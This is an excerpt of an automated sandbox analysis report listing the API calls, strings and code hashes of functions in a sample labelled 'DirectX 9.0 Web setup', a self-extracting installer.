Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Resource$ErrorFindLastLocal$AllocFreeLoadLockMessageSizeof
String ID: <None>$UPROMPT
API String ID: 226386726-2980973527
Opcode ID: 19c4e163a1090a162578199d223b225934aaa3b1b5a0be56976e72415ee7bbe1
Instruction ID: fcd82f8eb2d96e34fe2045f7d831227921619ed0845e22903694ad8dcf9b4982
Opcode Fuzzy Hash: 19c4e163a1090a162578199d223b225934aaa3b1b5a0be56976e72415ee7bbe1
Instruction Fuzzy Hash: F01190B164178ABFF2236B329C48F9B3B5CEB0A798F014114F6C29D0C6D7BAA4004B74

Function 01004888 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 01002ACD: lstrlenA.KERNEL32(00000104,?,?,?,01004972,?,00000104,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?), ref: 01002ADB
Part of subcall function 01002ACD: lstrlenA.KERNEL32(?,?,?,?,01004972,?,00000104,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?), ref: 01002AE2

SetFileAttributesA.KERNELBASE(?,00000000,?,?,?,?,?,00000104,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?), ref: 0100492B
SetDlgItemTextA.USER32(00000000,00000837,?), ref: 01004953

Part of subcall function 01002E1B: lstrcpyA.KERNEL32(0100B17C,AA4CA1C3,?,?,010049D8,?), ref: 01002E3E
Part of subcall function 01002E1B: lstrcpyA.KERNEL32(0100B280,FFFFE48F,?,?,010049D8,?), ref: 01002E48
Part of subcall function 01002E1B: lstrcpyA.KERNEL32(0100B384,0175C085,?,?,010049D8,?), ref: 01002E52

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 010048E0, 01004962

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: lstrcpy$lstrlen$AttributesFileItemText
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
API String ID: 1052324692-1955631000
Opcode ID: fe65d99b2ab9b239a6f2feaefbfaa6b709843359da61f41e70cea4a7b0a25d04
Instruction ID: 9c3945019062b96abff1775c7a9c12b98a3233307227bea5132d982746a7d7c1
Opcode Fuzzy Hash: fe65d99b2ab9b239a6f2feaefbfaa6b709843359da61f41e70cea4a7b0a25d04
Instruction Fuzzy Hash: EB31F47160020AABFF73AB78CD44EDE77E8AB04714F0049A1BBD5D60C0DAB4DA94C724

Function 01002D87 Relevance: 4.5, APIs: 3, Instructions: 39
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DosDateTimeToFileTime.KERNEL32(?,00000104,00000104), ref: 01002DAE
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 01002DC0
SetFileTime.KERNELBASE(?,?,?,?), ref: 01002DDC

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Time$File$DateLocal
String ID:
API String ID: 2071732420-0
Opcode ID: 96a0a1fe93097ab5083efa3cebb417dec1f1aca17dfb0d7ec9085fdad69f0f66
Instruction ID: 272d08cd781b42647d3e3cd2aab8a48c674a3e0d441df13359d39e46509fec88
Opcode Fuzzy Hash: 96a0a1fe93097ab5083efa3cebb417dec1f1aca17dfb0d7ec9085fdad69f0f66
Instruction Fuzzy Hash: 81F01D7650011AABDF62DFA4CD49DEF7BBCEF04300F00056AFA96D2054EA31D605CB60

Function 01001E52 Relevance: 4.5, APIs: 3, Instructions: 32
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000002,010045E9,00000000,00020019,010045E9,00000000,?,?,01001F1E,System\CurrentControlSet\Control\Session Manager,PendingFileRenameOperations,01001F3D,010045E9,01002634,00000003,00000000), ref: 01001E6E
RegQueryValueExA.KERNELBASE(010045E9,0100290E,00000000,00000000,00000000,?,?,01001F1E,System\CurrentControlSet\Control\Session Manager,PendingFileRenameOperations,01001F3D,010045E9,01002634,00000003,00000000,0100290E), ref: 01001E85
RegCloseKey.KERNELBASE(010045E9,?,01001F1E,System\CurrentControlSet\Control\Session Manager,PendingFileRenameOperations,01001F3D,010045E9,01002634,00000003,00000000,0100290E,010045E9,?), ref: 01001E95

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 7a797c0b9dcb7767ccf906ce318d436ef8d89cccfb9cdaf3cd7182f96baaf62c
Instruction ID: 28be454f978d5970a4e16e1394c3bca2c1ef4d0bed3d580e281dbf39f647a0de
Opcode Fuzzy Hash: 7a797c0b9dcb7767ccf906ce318d436ef8d89cccfb9cdaf3cd7182f96baaf62c
Instruction Fuzzy Hash: E1F0D475A01128FBEB229F92DD08DEFBFACEF057A0F008055F98996150D771DA10EBA0

Function 01005B32 Relevance: 4.5, APIs: 3, Instructions: 27stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(01003456,0000002F,0100B89A,01003456,0100B89A,01001251), ref: 01005B39
CharPrevA.USER32(01003456,00000000), ref: 01005B49
lstrcpyA.KERNEL32(00000000,?), ref: 01005B66

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: CharPrevlstrcpylstrlen
String ID:
API String ID: 3191087442-0
Opcode ID: fdd7714bb6593d9bd24b37b8e314602ef278b422ca2b5f9048e4f286ffae7ea1
Instruction ID: a8693eed6350a8dedeae3d565ef5e12137dbdc0ab456e1eef33ff5164d9f3c36
Opcode Fuzzy Hash: fdd7714bb6593d9bd24b37b8e314602ef278b422ca2b5f9048e4f286ffae7ea1
Instruction Fuzzy Hash: 5AE06531504A909FF36757189C08BAB7FD8EB86261F150485F5DA93181D37958428F71

Function 010058FE Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNELBASE(C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000,01005A22,00000000,01005ACB,?,?,01005ACB,00000000), ref: 0100596D

Part of subcall function 01003D9A: LocalAlloc.KERNEL32(00000040,00000001,UPROMPT,00000000,00000000,?,00000000,?,?,01005917,00000000,01005A22,00000000,01005ACB,?,?), ref: 01003DB5

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 01005968

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: AllocCurrentDirectoryLocal
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
API String ID: 4261067767-1955631000
Opcode ID: 8bb4dfa89a94fb33ff207bed1ff5b7d72056520cb165bd43416798504c0b475c
Instruction ID: 549888cb111fa0db324d5ce591e14e605fa8575ce561743fb142ccc2cd60ac89
Opcode Fuzzy Hash: 8bb4dfa89a94fb33ff207bed1ff5b7d72056520cb165bd43416798504c0b475c
Instruction Fuzzy Hash: 572175356453139FBFB3BB796D0276A37D4AA176B4F0804AAD5C4C11C5EB3A8180DFA2

Function 01003B00 Relevance: 3.1, APIs: 2, Instructions: 64fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(01003CBD,00000000,00000000,00000000,0000017D,00000080,00000000,00000000,00000000,?,00000000,01003C3C,00000180,00008000,?), ref: 01003B74
CreateFileA.KERNEL32(01003CBD,00000000,00000000,00000000,0000017D,00000080,00000000,01003CBD,?,00000000,01003C3C,00000180,00008000,?,?,01003CBD), ref: 01003B92

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9bfb39b486322ac668261688a7a5e61f2137a86f97e3518c83b150ea2e59270c
Instruction ID: da6b65ada72e5227994d070599185fef503f662e9f89374a7cd07d64c63b9061
Opcode Fuzzy Hash: 9bfb39b486322ac668261688a7a5e61f2137a86f97e3518c83b150ea2e59270c
Instruction Fuzzy Hash: 8501B9B2514A097DF7538538DC85F77BADCEB9626DF144729FBE5D50D0C229C8418220

Function 01002C23 Relevance: 3.0, APIs: 2, Instructions: 46fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0100288F: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 010028B3
Part of subcall function 0100288F: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 010028C5
Part of subcall function 0100288F: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 010028E8

WriteFile.KERNELBASE(?,?,?,00000000), ref: 01002C59

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: d96f9e2c227fc8fd5b123fd756cf88f8dd5409e60f2e5f7db06c1da812d6ec4c
Instruction ID: f7ff3d6030b5b4b6263aff2ff2ca75ae18718437ba1bcdff345b54a36bb66057
Opcode Fuzzy Hash: d96f9e2c227fc8fd5b123fd756cf88f8dd5409e60f2e5f7db06c1da812d6ec4c
Instruction Fuzzy Hash: 8A01923130030CDBEB278F69EC48F6537A9B790729F008225F6A5865E4CB769964CB00

Function 01004112 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 01004127

Part of subcall function 010038CC: MessageBoxA.USER32(00000000,?,DirectX 9.0 Web setup,00000000), ref: 01003946

Part of subcall function 01003547: GetLastError.KERNEL32(771C4B00,01004003), ref: 0100354E
Part of subcall function 01003547: GetLastError.KERNEL32 ref: 01003554

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: ErrorLast$DirectoryMessageWindows
String ID:
API String ID: 824312211-0
Opcode ID: ca96c28c2df01ffdf837ee669907e7b40b94055632e991d685ff63f2d1cff087
Instruction ID: bca2c9432b1f888fb9469f10f577c2e1376d14a01b837acd07ddd468fc16ab10
Opcode Fuzzy Hash: ca96c28c2df01ffdf837ee669907e7b40b94055632e991d685ff63f2d1cff087
Instruction Fuzzy Hash: 0CE04FF5B403057BFA22FBB45D4AFE632AC6710B08F0044A177C5EA0C6E6F4D5848B64

Function 01005BCA Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,010023AD,?), ref: 01005BCE

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9581c502d22aba61f5526ad2671cdf4715d83c214d9c839e97df5bb296cd7dd6
Instruction ID: b3f3ffb5a34c765f4dd1797c4ec993e395d72c4c0f957be6f6d41efe976d23e8
Opcode Fuzzy Hash: 9581c502d22aba61f5526ad2671cdf4715d83c214d9c839e97df5bb296cd7dd6
Instruction Fuzzy Hash: 5BC08C361148044AA5124230AC020993592AB00239F948B20E1F2C00D0E279D410DD20

Function 01005A00 Relevance: 1.3, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

Part of subcall function 01004C18: CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01004C87
Part of subcall function 01004C18: SetEvent.KERNEL32(00000000,?,00000000), ref: 01004C93

CloseHandle.KERNEL32(00000000,01005ACB,?,?,01005ACB,00000000), ref: 01005A50

Part of subcall function 010058FE: SetCurrentDirectoryA.KERNELBASE(C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000,01005A22,00000000,01005ACB,?,?,01005ACB,00000000), ref: 0100596D

Part of subcall function 01002EAF: SetFileAttributesA.KERNEL32(004910B0,00000080,?,?,00000000), ref: 01002EE4
Part of subcall function 01002EAF: DeleteFileA.KERNEL32(004910B0,?,?,00000000), ref: 01002EEC
Part of subcall function 01002EAF: LocalFree.KERNEL32(004910B0,?,?,00000000), ref: 01002EF7
Part of subcall function 01002EAF: LocalFree.KERNEL32(004910B0,?,?,00000000), ref: 01002EFA
Part of subcall function 01002EAF: lstrcpyA.KERNEL32(?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 01002F25
Part of subcall function 01002EAF: SetCurrentDirectoryA.KERNEL32(01001284,?,00000000), ref: 01002F43

Part of subcall function 0100263F: ExitWindowsEx.USER32(00000002,00000000), ref: 01002681

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: CurrentDirectoryEventFileFreeLocal$AttributesCloseCreateDeleteExitHandleWindowslstrcpy
String ID:
API String ID: 2109604340-0
Opcode ID: 6bb0501f5843ebe1865109c29f3cf8357a2669cd15ada572a2d507304c427ffa
Instruction ID: 84a9f70d874b0ce605a0360ea1fac1df0a3d9085ade5438d4a511a43078ce571
Opcode Fuzzy Hash: 6bb0501f5843ebe1865109c29f3cf8357a2669cd15ada572a2d507304c427ffa
Instruction Fuzzy Hash: 81F08C31E003419BFB73EFB89D88B5A3BD5AB43250F044448E9C0931D8CB7AC4848F18

Function 01002CB2 Relevance: 1.3, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,00000000,00000000,01003CF6,00000000,?,?,?,?,?,00000000), ref: 01002CEB

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a9b46e3db594f2fcd46db8c9e3fd42ad0b2307defafbda2f4743e6373b85ddb5
Instruction ID: c15912df4965dd569d42e93d5fd4232a5505faff8a50d4eacb1245b87f6ff462
Opcode Fuzzy Hash: a9b46e3db594f2fcd46db8c9e3fd42ad0b2307defafbda2f4743e6373b85ddb5
Instruction Fuzzy Hash: 1BF01275506716EE97E3CF2D994869BBFE5FF84750F12092ED4EEC2290DB3099018B10

Function 01002E03 Relevance: 1.3, APIs: 1, Instructions: 4memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000000,?), ref: 01002E09

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 12b5d25ff1b6920fdbd45c6bb364aca1b53fd2bb8657c90971766ff1ed60e0e7
Instruction ID: aceb04de2820cb8e4959a70ec4af59ab00b6b623b0161863bd08f56dc2faf270
Opcode Fuzzy Hash: 12b5d25ff1b6920fdbd45c6bb364aca1b53fd2bb8657c90971766ff1ed60e0e7
Instruction Fuzzy Hash: 1DA00239648241EBEE529B90DF09B097AA1AB84B02F008544F2CD4519486B68410EF62

Function 01002E10 Relevance: 1.3, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 01002E14

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: a050d75f0b9f73008538d2428d150b865eddb9cf78cebb317d7b67494dfc1878
Instruction ID: fe044374dafef1cb320f1ead0a573a760266085682d6567bdb0ea2f0c700d41b
Opcode Fuzzy Hash: a050d75f0b9f73008538d2428d150b865eddb9cf78cebb317d7b67494dfc1878
Instruction Fuzzy Hash: 239002304081009BDF165B20DA0D9497B71AB80701F404454A0858016487368850EB01

Non-executed Functions

Function 01001C7F Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 86stringfileCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(?,00000000,00000001,DirectX 9.0 Web setup,00000000), ref: 01001CAD
lstrcatA.KERNEL32(?,0100128C), ref: 01001CC1
FindFirstFileA.KERNEL32(?,?), ref: 01001CD1
lstrcpyA.KERNEL32(?,00000000), ref: 01001CEB
lstrcmpA.KERNEL32(?,01001288), ref: 01001D02
lstrcmpA.KERNEL32(?,01001284), ref: 01001D18
lstrcatA.KERNEL32(?,?), ref: 01001D30

Part of subcall function 01005B32: lstrlenA.KERNEL32(01003456,0000002F,0100B89A,01003456,0100B89A,01001251), ref: 01005B39
Part of subcall function 01005B32: CharPrevA.USER32(01003456,00000000), ref: 01005B49
Part of subcall function 01005B32: lstrcpyA.KERNEL32(00000000,?), ref: 01005B66

lstrcatA.KERNEL32(?,?), ref: 01001D59
SetFileAttributesA.KERNEL32(?,00000080), ref: 01001D67
DeleteFileA.KERNEL32(?), ref: 01001D74
FindNextFileA.KERNEL32(00000000,00000010), ref: 01001D84
FindClose.KERNEL32(00000000), ref: 01001D95
RemoveDirectoryA.KERNEL32(00000000), ref: 01001D9C

Strings

DirectX 9.0 Web setup, xrefs: 01001C9D

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: File$Findlstrcatlstrcpy$lstrcmp$AttributesCharCloseDeleteDirectoryFirstNextPrevRemovelstrlen
String ID: DirectX 9.0 Web setup
API String ID: 2233361564-3102400635
Opcode ID: 678c5ee2d3b4477588ce13c604fb9acbca6998944e647f19a3d9bdee4b119596
Instruction ID: a00f6dc85045b5a751000bc1c93d4bef5bd8a44fc60f5db9cfdca4d6f7f72306
Opcode Fuzzy Hash: 678c5ee2d3b4477588ce13c604fb9acbca6998944e647f19a3d9bdee4b119596
Instruction Fuzzy Hash: 0F3119B690415DABEF62EBB5DD88FCA7BBCAF14340F440592B6C5D2084DBB4D6848F60

Function 0100168B Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 107memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 010015F6: LoadLibraryA.KERNEL32(advapi32.dll,00000000,?,?,010016C1,?,00000000,?,01004E0E,?,?,00000000), ref: 0100161A
Part of subcall function 010015F6: GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 0100162E
Part of subcall function 010015F6: AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,DirectX 9.0 Web setup,?,?,010016C1), ref: 0100165E
Part of subcall function 010015F6: FreeSid.ADVAPI32(00000000,?,?,010016C1), ref: 01001672
Part of subcall function 010015F6: FreeLibrary.KERNEL32(010016C1,?,?,010016C1,?,00000000,?,01004E0E,?,?,00000000), ref: 0100167C

GetCurrentProcess.KERNEL32(00000008,?,?,00000000,?,01004E0E,?,?,00000000), ref: 010016CF
OpenProcessToken.ADVAPI32(00000000,?,01004E0E,?,?,00000000), ref: 010016D6
GetTokenInformation.ADVAPI32(?,00000002,00000000,00000000,00000000,00000001,?,01004E0E,?,?,00000000), ref: 010016F6
GetLastError.KERNEL32(?,01004E0E,?,?,00000000), ref: 01001700
LocalAlloc.KERNEL32(00000000,00000000,DirectX 9.0 Web setup,?,01004E0E,?,?,00000000), ref: 01001714
GetTokenInformation.ADVAPI32(?,00000002,00000000,00000000,00000000,?,01004E0E,?,?,00000000), ref: 0100172D
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,01004E0E,?,?,00000000), ref: 0100174A
EqualSid.ADVAPI32(00000004,?,?,01004E0E,?,?,00000000), ref: 01001760
FreeSid.ADVAPI32(?,?,01004E0E,?,?,00000000), ref: 01001782
LocalFree.KERNEL32(00000000,?,01004E0E,?,?,00000000), ref: 01001789
CloseHandle.KERNEL32(?,?,01004E0E,?,?,00000000), ref: 01001793

Strings

DirectX 9.0 Web setup, xrefs: 0100170F

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID: DirectX 9.0 Web setup
API String ID: 2168512254-3102400635
Opcode ID: bb5fe4861fc728833115231643eac192e69f4f778fcc582930cb2832bc57f699
Instruction ID: fa5215c0b5e6886bf03ae5b40989aa8fe66889e67d1830d7472693dfac7b44e0
Opcode Fuzzy Hash: bb5fe4861fc728833115231643eac192e69f4f778fcc582930cb2832bc57f699
Instruction Fuzzy Hash: A7315E71A00249EFEB23DBA49988EEE7BB9FF04340F5004A5F6C5E2085D775D644CB61

Function 01005D22 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 67registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?), ref: 01005D57
GetSystemMetrics.USER32(0000004A), ref: 01005D85
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 01005DA4
RegQueryValueExA.ADVAPI32(?,01001251,00000000,?,?,?,?), ref: 01005DC5
RegCloseKey.ADVAPI32(?), ref: 01005DD0

Part of subcall function 01005C1C: CharNextA.USER32(?,00000000,01005DE8,?,?), ref: 01005C55

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 01005D9A

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: 431f45f9673300b689da86ba081f87beb83a14b1989b5a4117b9124139db4642
Instruction ID: 083c54a924ab9761291a410baedf6ac57de624089c224ea8294de35afb17b59e
Opcode Fuzzy Hash: 431f45f9673300b689da86ba081f87beb83a14b1989b5a4117b9124139db4642
Instruction Fuzzy Hash: 17212571640248DBEB36CFA9DC48B9D37E8AB04715F105129F991D20C3E7BAC488CF91

Function 010018B5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,00000004,00000000,?,?,01005ACB,00000000), ref: 010018C2
OpenProcessToken.ADVAPI32(00000000), ref: 010018C9
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 010018EB
AdjustTokenPrivileges.ADVAPI32(00000004,00000000), ref: 0100190A

Strings

SeShutdownPrivilege, xrefs: 010018E5

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
